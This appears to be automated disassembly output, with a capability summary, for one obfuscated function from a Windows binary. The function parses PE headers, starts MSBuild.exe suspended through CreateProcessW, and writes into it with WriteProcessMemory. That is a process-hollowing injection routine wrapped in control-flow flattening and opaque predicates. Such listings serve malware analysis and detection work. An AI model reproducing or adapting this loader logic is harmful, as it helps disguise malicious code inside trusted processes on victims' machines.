Function at 0x100033a0
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Hide graphical window
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0xfc
mov eax, dword [0x10069800]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov ecx, dword [0x1006ab28]
mov eax, dword [0x1006ab24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
and cl, 1
mov byte [ebp - 0xfe], cl
cmp eax, 0xa
setl al
and al, 1
mov byte [ebp - 0xfd], al
mov dword [ebp - 0x104], 0x725f887
mov eax, dword [ebp - 0x104]
mov dword [ebp - 0x108], eax
sub eax, 0x80996725
je 0x1000a85f
jmp 0x10003413
mov eax, dword [ebp - 0x108]
sub eax, 0x80a5b243
je 0x10005e4e
jmp 0x10003429
mov eax, dword [ebp - 0x108]
sub eax, 0x81376a57
je 0x1000669f
jmp 0x1000343f
mov eax, dword [ebp - 0x108]
sub eax, 0x81c557ff
je 0x10008fb1
jmp 0x10003455
mov eax, dword [ebp - 0x108]
sub eax, 0x82082e5e
je 0x10006b3c
jmp 0x1000346b
mov eax, dword [ebp - 0x108]
sub eax, 0x8212c776
je 0x1000b361
jmp 0x10003481
mov eax, dword [ebp - 0x108]
sub eax, 0x8290359c
je 0x1000b92d
jmp 0x10003497
mov eax, dword [ebp - 0x108]
sub eax, 0x84654388
je 0x1000b7b4
jmp 0x100034ad
mov eax, dword [ebp - 0x108]
sub eax, 0x846e362c
je 0x10008d97
jmp 0x100034c3
mov eax, dword [ebp - 0x108]
sub eax, 0x84b65b06
je 0x1000acc6
jmp 0x100034d9
mov eax, dword [ebp - 0x108]
sub eax, 0x85e241a9
je 0x1000ada7
jmp 0x100034ef
mov eax, dword [ebp - 0x108]
sub eax, 0x85e8e3d9
je 0x10006522
jmp 0x10003505
mov eax, dword [ebp - 0x108]
sub eax, 0x866ce08d
je 0x1000602f
jmp 0x1000351b
mov eax, dword [ebp - 0x108]
sub eax, 0x86769124
je 0x10006c50
jmp 0x10003531
mov eax, dword [ebp - 0x108]
sub eax, 0x86b1cc9e
je 0x100098a2
jmp 0x10003547
mov eax, dword [ebp - 0x108]
sub eax, 0x86f1bb2d
je 0x1000aec1
jmp 0x1000355d
mov eax, dword [ebp - 0x108]
sub eax, 0x877378c3
je 0x10009851
jmp 0x10003573
mov eax, dword [ebp - 0x108]
sub eax, 0x886f0b9b
je 0x100062d1
jmp 0x10003589
mov eax, dword [ebp - 0x108]
sub eax, 0x8906845c
je 0x1000aa89
jmp 0x1000359f
mov eax, dword [ebp - 0x108]
sub eax, 0x8a180362
je 0x10008288
jmp 0x100035b5
mov eax, dword [ebp - 0x108]
sub eax, 0x8a9a47f1
je 0x10006aec
jmp 0x100035cb
mov eax, dword [ebp - 0x108]
sub eax, 0x8aa0a474
je 0x10008360
jmp 0x100035e1
mov eax, dword [ebp - 0x108]
sub eax, 0x8b48c41f
je 0x10007cac
jmp 0x100035f7
mov eax, dword [ebp - 0x108]
sub eax, 0x8b7072bb
je 0x1000b4b7
jmp 0x1000360d
mov eax, dword [ebp - 0x108]
sub eax, 0x8bcfd25e
je 0x100075e6
jmp 0x10003623
mov eax, dword [ebp - 0x108]
sub eax, 0x8c3a7b9d
je 0x100077f7
jmp 0x10003639
mov eax, dword [ebp - 0x108]
sub eax, 0x8cbfb27e
je 0x1000794c
jmp 0x1000364f
mov eax, dword [ebp - 0x108]
sub eax, 0x8e375d16
je 0x1000b7f6
jmp 0x10003665
mov eax, dword [ebp - 0x108]
sub eax, 0x8f610268
je 0x10008db4
jmp 0x1000367b
mov eax, dword [ebp - 0x108]
sub eax, 0x9005b962
je 0x10005ed9
jmp 0x10003691
mov eax, dword [ebp - 0x108]
sub eax, 0x9085cc06
je 0x10006c41
jmp 0x100036a7
mov eax, dword [ebp - 0x108]
sub eax, 0x9144a881
je 0x10006d3a
jmp 0x100036bd
mov eax, dword [ebp - 0x108]
sub eax, 0x91a6e63a
je 0x1000b2ec
jmp 0x100036d3
mov eax, dword [ebp - 0x108]
sub eax, 0x91c151f9
je 0x10006e88
jmp 0x100036e9
mov eax, dword [ebp - 0x108]
sub eax, 0x928421a6
je 0x10008e17
jmp 0x100036ff
mov eax, dword [ebp - 0x108]
sub eax, 0x9286e5dc
je 0x1000ad37
jmp 0x10003715
mov eax, dword [ebp - 0x108]
sub eax, 0x94924540
je 0x1000a19b
jmp 0x1000372b
mov eax, dword [ebp - 0x108]
sub eax, 0x988aa8e5
je 0x1000a773
jmp 0x10003741
mov eax, dword [ebp - 0x108]
sub eax, 0x98c67eaa
je 0x10006501
jmp 0x10003757
mov eax, dword [ebp - 0x108]
sub eax, 0x98d71ef8
je 0x10009b9f
jmp 0x1000376d
mov eax, dword [ebp - 0x108]
sub eax, 0x992132f7
je 0x100074c4
jmp 0x10003783
mov eax, dword [ebp - 0x108]
sub eax, 0x994ed56e
je 0x1000ab19
jmp 0x10003799
mov eax, dword [ebp - 0x108]
sub eax, 0x997e27c4
je 0x10008f90
jmp 0x100037af
mov eax, dword [ebp - 0x108]
sub eax, 0x9a095281
je 0x10006388
jmp 0x100037c5
mov eax, dword [ebp - 0x108]
sub eax, 0x9b7b26c7
je 0x10008804
jmp 0x100037db
mov eax, dword [ebp - 0x108]
sub eax, 0x9c1a6714
je 0x1000b4e7
jmp 0x100037f1
mov eax, dword [ebp - 0x108]
sub eax, 0x9cf2c011
je 0x1000b26e
jmp 0x10003807
mov eax, dword [ebp - 0x108]
sub eax, 0x9cf5183f
je 0x1000b8c6
jmp 0x1000381d
mov eax, dword [ebp - 0x108]
sub eax, 0x9e34eeb7
je 0x10008df6
jmp 0x10003833
mov eax, dword [ebp - 0x108]
sub eax, 0x9e511264
je 0x1000b24d
jmp 0x10003849
mov eax, dword [ebp - 0x108]
sub eax, 0x9f166aa2
je 0x10009f81
jmp 0x1000385f
mov eax, dword [ebp - 0x108]
sub eax, 0x9f1a55d7
je 0x10008b89
jmp 0x10003875
mov eax, dword [ebp - 0x108]
sub eax, 0x9f9bab50
je 0x10007583
jmp 0x1000388b
mov eax, dword [ebp - 0x108]
sub eax, 0x9fca3921
je 0x10009ca8
jmp 0x100038a1
mov eax, dword [ebp - 0x108]
sub eax, 0xa01adb30
je 0x10006f8d
jmp 0x100038b7
mov eax, dword [ebp - 0x108]
sub eax, 0xa1b9dae9
je 0x100069f5
jmp 0x100038cd
mov eax, dword [ebp - 0x108]
sub eax, 0xa1ba2d4a
je 0x1000771e
jmp 0x100038e3
mov eax, dword [ebp - 0x108]
sub eax, 0xa1cae868
je 0x10009114
jmp 0x100038f9
mov eax, dword [ebp - 0x108]
sub eax, 0xa2958207
je 0x10008c8a
jmp 0x1000390f
mov eax, dword [ebp - 0x108]
sub eax, 0xa32db011
je 0x10006572
jmp 0x10003925
mov eax, dword [ebp - 0x108]
sub eax, 0xa4214b38
je 0x1000b64f
jmp 0x1000393b
mov eax, dword [ebp - 0x108]
sub eax, 0xa56942f3
je 0x1000925f
jmp 0x10003951
mov eax, dword [ebp - 0x108]
sub eax, 0xa6b3101a
je 0x1000b037
jmp 0x10003967
mov eax, dword [ebp - 0x108]
sub eax, 0xa6cf46f8
je 0x1000a86e
jmp 0x1000397d
mov eax, dword [ebp - 0x108]
sub eax, 0xa741aafb
je 0x1000b046
mov eax, dword [ebp - 0xfc]
movss xmm0, dword [0x1001938c]
movss dword [eax], xmm0
mov eax, dword [ebp - 0xfc]
movss xmm0, dword [0x10019388]
movss dword [eax], xmm0
mov dword [ebp - 0x104], 0x7c9460fa
jmp 0x1000bc1c
mov eax, dword [ebp - 0xfc]
movss xmm0, dword [0x10019220]
movss dword [eax], xmm0
mov ecx, dword [0x1006ab28]
mov eax, dword [0x1006ab24]
mov edx, ecx
sub edx, 0x9574abd9
sub edx, 1
add edx, 0x9574abd9
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x75fc8340
mov ecx, 0x2951fb65
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x104], eax
jmp 0x1000bc1c
mov dl, 1
mov eax, 0x692b7a0f
mov ecx, 0xd45bf73e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x104], eax
jmp 0x1000bc1c
mov eax, dword [0x1006ab28]
mov ecx, dword [0x1006ab24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xdca87bcb
mov ecx, 0x5d315b97
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x104], eax
jmp 0x1000bc1c
mov eax, dword [ebp - 0xf8]
movss xmm0, dword [0x10019370]
movss dword [eax], xmm0
mov dword [ebp - 0x104], 0x7a25055f
jmp 0x1000bc1c
mov eax, dword [ebp - 0xf8]
movss xmm0, dword [0x10019360]
movss dword [eax], xmm0
mov dword [ebp - 0x104], 0x85e8e3d9
jmp 0x1000bc1c
mov dl, 1
mov eax, 0x219d6b86
mov ecx, 0x125eec39
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x104], eax
jmp 0x1000bc1c
mov eax, dword [0x1006ab28]
mov ecx, dword [0x1006ab24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x8212c776
mov ecx, 0xd99b48ab
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x104], eax
jmp 0x1000bc1c
mov eax, dword [0x1006ab28]
mov ecx, dword [0x1006ab24]
mov edx, eax
sub edx, 0xc323309
sub edx, 1
add edx, 0xc323309
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x395e3d5f
mov ecx, 0xeddd7410
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x104], eax
jmp 0x1000bc1c
mov eax, dword [0x1006ab28]
mov ecx, dword [0x1006ab24]
mov edx, eax
add edx, 0xb929eea8
sub edx, 1
sub edx, 0xb929eea8
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xd06226d8
mov ecx, 0xb8ad255d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x104], eax
jmp 0x1000bc1c
mov dl, 1
mov eax, 0x5330c222
mov ecx, 0x8f2a0d1
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x104], eax
jmp 0x1000bc1c
mov dword [ebp - 0x104], 0x5330c222
jmp 0x1000bc1c
mov dword [ebp - 0x104], 0x86769124
jmp 0x1000bc1c
mov dl, 1
mov eax, 0xedcdce18
mov ecx, 0x1d2659b6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x104], eax
jmp 0x1000bc1c
mov dword [ebp - 0x104], 0xedcdce18
jmp 0x1000bc1c
mov ecx, dword [0x1006ab28]
mov eax, dword [0x1006ab24]
mov edx, ecx
sub edx, 0x17523002
sub edx, 1
add edx, 0x17523002
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xa7435698
mov ecx, 0x3ad18344
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x104], eax
jmp 0x1000bc1c
mov eax, dword [0x1006ab28]
mov ecx, dword [0x1006ab24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xec938342
mov ecx, 0x181ea71f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x104], eax
jmp 0x1000bc1c
mov dword [ebp - 0x104], 0xc31b4ebc
jmp 0x1000bc1c
mov eax, dword [ebp - 0xf0]
movss xmm0, dword [0x100191e4]
movss dword [eax], xmm0
mov eax, dword [0x1006ab28]
mov ecx, dword [0x1006ab24]
mov edx, eax
sub edx, 0xf85b8a3a
sub edx, 1
add edx, 0xf85b8a3a
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x9c1a6714
mov ecx, 0x8bcfd25e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x104], eax
jmp 0x1000bc1c
mov dword [ebp - 0x104], 0xa8aa1f66
jmp 0x1000bc1c
mov eax, dword [ebp - 0xf0]
movss xmm0, dword [0x100191dc]
movss dword [eax], xmm0
mov ecx, dword [0x1006ab28]
mov eax, dword [0x1006ab24]
mov edx, ecx
sub edx, 0x90b60f8a
sub edx, 1
add edx, 0x90b60f8a
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x1495f277
mov ecx, 0x3a0331d5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x104], eax
jmp 0x1000bc1c
mov dl, 1
mov eax, 0x2cd6f8b4
mov ecx, 0xcf05c815
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x104], eax
jmp 0x1000bc1c
mov dword [ebp - 0x104], 0xfb9dca83
jmp 0x1000bc1c
mov eax, dword [0x1006ab28]
mov ecx, dword [0x1006ab24]
mov edx, eax
add edx, 0xb491ed80
sub edx, 1
sub edx, 0xb491ed80
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xd59f9e36
mov ecx, 0xa9f74e08
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x104], eax
jmp 0x1000bc1c
mov ecx, dword [0x1006ab28]
mov eax, dword [0x1006ab24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xf8d928fa
mov ecx, 0x69bd20e5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x104], eax
jmp 0x1000bc1c
mov eax, dword [ebp - 0xec]
movss xmm0, dword [0x100192cc]
movss dword [eax], xmm0
mov dword [ebp - 0x104], 0x6020480c
jmp 0x1000bc1c
mov eax, dword [ebp - 0xe8]
movss xmm0, dword [0x100192b0]
movss dword [eax], xmm0
mov dword [ebp - 0x104], 0x102b0bb2
jmp 0x1000bc1c
mov eax, dword [ebp - 0xe4]
movss xmm0, dword [0x10019280]
movss dword [eax], xmm0
mov eax, dword [ebp - 0xe4]
movss xmm0, dword [0x1001927c]
movss dword [eax], xmm0
mov dword [ebp - 0x104], 0xe18c8f40
jmp 0x1000bc1c
mov eax, dword [ebp - 0xe4]
movss xmm0, dword [0x10019278]
movss dword [eax], xmm0
mov dword [ebp - 0x104], 0xa1c9264
jmp 0x1000bc1c
mov dl, 1
mov eax, 0x9e34eeb7
mov ecx, 0x8f610268
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x104], eax
jmp 0x1000bc1c
mov eax, dword [ebp - 0xe4]
movss xmm0, dword [0x10019274]
movss dword [eax], xmm0
mov dword [ebp - 0x104], 0x113b6b16
jmp 0x1000bc1c
mov eax, dword [ebp - 0xe4]
movss xmm0, dword [0x1001926c]
movss dword [eax], xmm0
mov dword [ebp - 0x104], 0x928421a6
jmp 0x1000bc1c
mov eax, dword [0x1006ab28]
mov ecx, dword [0x1006ab24]
mov edx, eax
add edx, 0x8dd583b8
sub edx, 1
sub edx, 0x8dd583b8
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x5e69c36b
mov ecx, 0x285f6300
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x104], eax
jmp 0x1000bc1c
mov eax, dword [ebp - 0xe0]
movss xmm0, dword [0x10019254]
movss dword [eax], xmm0
mov dword [ebp - 0x104], 0x81c557ff
jmp 0x1000bc1c
mov eax, dword [ebp - 0xe0]
movss xmm0, dword [0x10019250]
movss dword [eax], xmm0
mov eax, dword [ebp - 0xe0]
movss xmm0, dword [0x1001924c]
movss dword [eax], xmm0
mov dl, 1
mov eax, 0xca6bec82
mov ecx, 0x7ad2c1e8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x104], eax
jmp 0x1000bc1c
mov ecx, dword [0x1006ab28]
mov eax, dword [0x1006ab24]
mov edx, ecx
add edx, 0xdd52af25
sub edx, 1
sub edx, 0xdd52af25
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xfe32904e
mov ecx, 0x7be4fc9b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x104], eax
jmp 0x1000bc1c
mov eax, dword [ebp - 0xe0]
movss xmm0, dword [0x1001923c]
movss dword [eax], xmm0
mov dword [ebp - 0x104], 0xe002dcff
jmp 0x1000bc1c
mov eax, dword [0x1006ab28]
mov ecx, dword [0x1006ab24]
mov edx, eax
sub edx, 0x96e1bb68
sub edx, 1
add edx, 0x96e1bb68
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xe1aa4d03
mov ecx, 0x86b1cc9e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x104], eax
jmp 0x1000bc1c
mov eax, dword [ebp - 0xdc]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xd8]
mov eax, dword [eax]
mov edx, dword [eax + 0x3c]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, edx
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0xd0]
mov dword [eax], ecx
mov eax, dword [ebp - 0xd0]
mov eax, dword [eax]
cmp dword [eax], 0x4550
sete al
and al, 1
mov byte [ebp - 0x7d], al
mov ecx, dword [0x1006ab28]
mov eax, dword [0x1006ab24]
mov edx, ecx
add edx, 0xe9009094
sub edx, 1
sub edx, 0xe9009094
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xe1aa4d03
mov ecx, 0xc67dcc10
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x104], eax
jmp 0x1000bc1c
mov ecx, dword [0x1006ab28]
mov eax, dword [0x1006ab24]
mov edx, ecx
add edx, 0xb91b24ed
sub edx, 1
sub edx, 0xb91b24ed
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x5d6f805f
mov ecx, 0x4cf877bd
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x104], eax
jmp 0x1000bc1c
mov eax, dword [0x1006ab28]
mov ecx, dword [0x1006ab24]
mov edx, eax
sub edx, 0x907400
sub edx, 1
add edx, 0x907400
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x4fc35599
mov ecx, 0xfe5102da
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x104], eax
jmp 0x1000bc1c
mov eax, dword [ebp - 0xcc]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call fcn.10002ab0
add esp, 4
mov ecx, eax
mov eax, dword [ebp - 0xbc]
mov dword [eax], ecx
mov eax, dword [ebp - 0xd0]
mov eax, dword [eax]
mov ecx, dword [eax + 0xa4]
mov eax, dword [ebp - 0xb4]
mov dword [eax], ecx
mov dword [ebp - 0x104], 0xa84e340d
jmp 0x1000bc1c
mov eax, dword [0x1006ab28]
mov ecx, dword [0x1006ab24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x68fbf9da
mov ecx, 0x1ef38c83
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x104], eax
jmp 0x1000bc1c
mov ecx, dword [0x1006ab28]
mov eax, dword [0x1006ab24]
mov edx, ecx
add edx, 0x61e50a06
sub edx, 1
sub edx, 0x61e50a06
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x302ed7a5
mov ecx, 0x3468c5ae
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x104], eax
jmp 0x1000bc1c
mov dword [ebp - 0x104], 0xa6cf46f8
jmp 0x1000bc1c
mov eax, dword [0x1006ab28]
mov ecx, dword [0x1006ab24]
mov edx, eax
add edx, 0xcb8bfff
sub edx, 1
sub edx, 0xcb8bfff
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xc63c1837
mov ecx, 0x6c06a516
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x104], eax
jmp 0x1000bc1c
mov eax, dword [ebp - 0x8c]
mov eax, dword [eax]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x104], 0xbebdfa9a
jmp 0x1000bc1c
mov eax, dword [ebp - 0x98]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x8c]
mov ecx, dword [ecx]
movzx ecx, word [eax + ecx*2]
mov edx, 0xffffffff
xor edx, 0xf000
mov eax, ecx
xor eax, edx
and eax, ecx
cmp eax, 3
sete al
and al, 1
mov byte [ebp - 0x29], al
mov ecx, dword [0x1006ab28]
mov eax, dword [0x1006ab24]
mov edx, ecx
sub edx, 0x738a993c
sub edx, 1
add edx, 0x738a993c
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x7fc112c0
mov ecx, 0x3b8b713c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x104], eax
jmp 0x1000bc1c
mov eax, dword [ebp - 0x90]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x84]
mov ecx, dword [ecx]
sub ecx, 0x7ecefe0e
add ecx, eax
add ecx, 0x7ecefe0e
mov eax, dword [ebp - 0x84]
mov dword [eax], ecx
mov eax, dword [ebp - 0x88]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xcc]
mov edx, dword [eax]
mov eax, dword [ebp - 0x84]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov dword [ebp - 0x104], 0x9286e5dc
jmp 0x1000bc1c
mov dword [ebp - 0x104], 0x24389ab0
jmp 0x1000bc1c
mov eax, dword [ebp - 0xa8]
mov eax, dword [eax]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0xa8]
mov eax, dword [eax]
mov eax, dword [eax + 4]
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x104], 0x46cd809a
jmp 0x1000bc1c
mov dword [ebp - 0x104], 0xf760ea49
jmp 0x1000bc1c
mov dword [ebp - 0x104], 0xa741aafb
jmp 0x1000bc1c
mov dword [ebp - 0x104], 0xfb462987
jmp 0x1000bc1c
mov dword [ebp - 0x104], 0x156291cf
jmp 0x1000bc1c
mov eax, dword [ebp - 0xf8]
movss xmm0, dword [0x1001921c]
movss dword [eax], xmm0
mov eax, dword [ebp - 0xf8]
movss xmm0, dword [0x10019218]
movss dword [eax], xmm0
mov eax, dword [ebp - 0xf8]
movss xmm0, dword [0x10019214]
movss dword [eax], xmm0
mov dword [ebp - 0x104], 0xc72eef5c
jmp 0x1000bc1c
mov dword [ebp - 0x104], 0xd99b48ab
jmp 0x1000bc1c
mov eax, dword [ebp - 0xf0]
movss xmm0, dword [0x100191e8]
movss dword [eax], xmm0
mov dword [ebp - 0x104], 0x591644b2
jmp 0x1000bc1c
mov eax, dword [ebp - 0xf0]
movss xmm0, dword [0x100191e4]
movss dword [eax], xmm0
mov dword [ebp - 0x104], 0x9f9bab50
jmp 0x1000bc1c
mov eax, dword [ebp - 0xec]
movss xmm0, dword [0x100191bc]
movss dword [eax], xmm0
mov dword [ebp - 0x104], 0xdfd9adb0
jmp 0x1000bc1c
mov eax, dword [ebp - 0xe0]
movss xmm0, dword [0x10019198]
movss dword [eax], xmm0
mov dword [ebp - 0x104], 0x6546adcc
jmp 0x1000bc1c
mov eax, dword [ebp - 0xe0]
movss xmm0, dword [0x10019190]
movss dword [eax], xmm0
mov dword [ebp - 0x104], 0x58b08112
jmp 0x1000bc1c
mov eax, dword [ebp - 0x7c]
cmp dword [eax + 0xd0], 0
setne cl
and cl, 1
mov eax, dword [ebp - 0xc4]
mov byte [eax], cl
mov eax, dword [ebp - 0xc0]
lea ecx, str.C:WindowsMicrosoft.NETFramework_v4.0.30319MSBuild.exe
mov dword [eax], ecx
mov eax, dword [ebp - 0xc4]
mov dword [ebp - 0x104], 0x5ccd01da
jmp 0x1000bc1c
mov eax, dword [ebp - 0xc0]
mov edx, dword [eax]
mov eax, dword [ebp - 0xcc]
mov ecx, dword [ebp - 0xc8]
xor esi, esi
sub esp, 0x28
mov dword [esp], edx
mov dword [esp + 4], 0
mov dword [esp + 8], 0
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 4
mov dword [esp + 0x18], 0
mov dword [esp + 0x1c], 0
mov dword [esp + 0x20], ecx
mov dword [esp + 0x24], eax
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
mov dword [ebp - 0x104], 0x6ae7be0f
jmp 0x1000bc1c
jmp 0x100033f7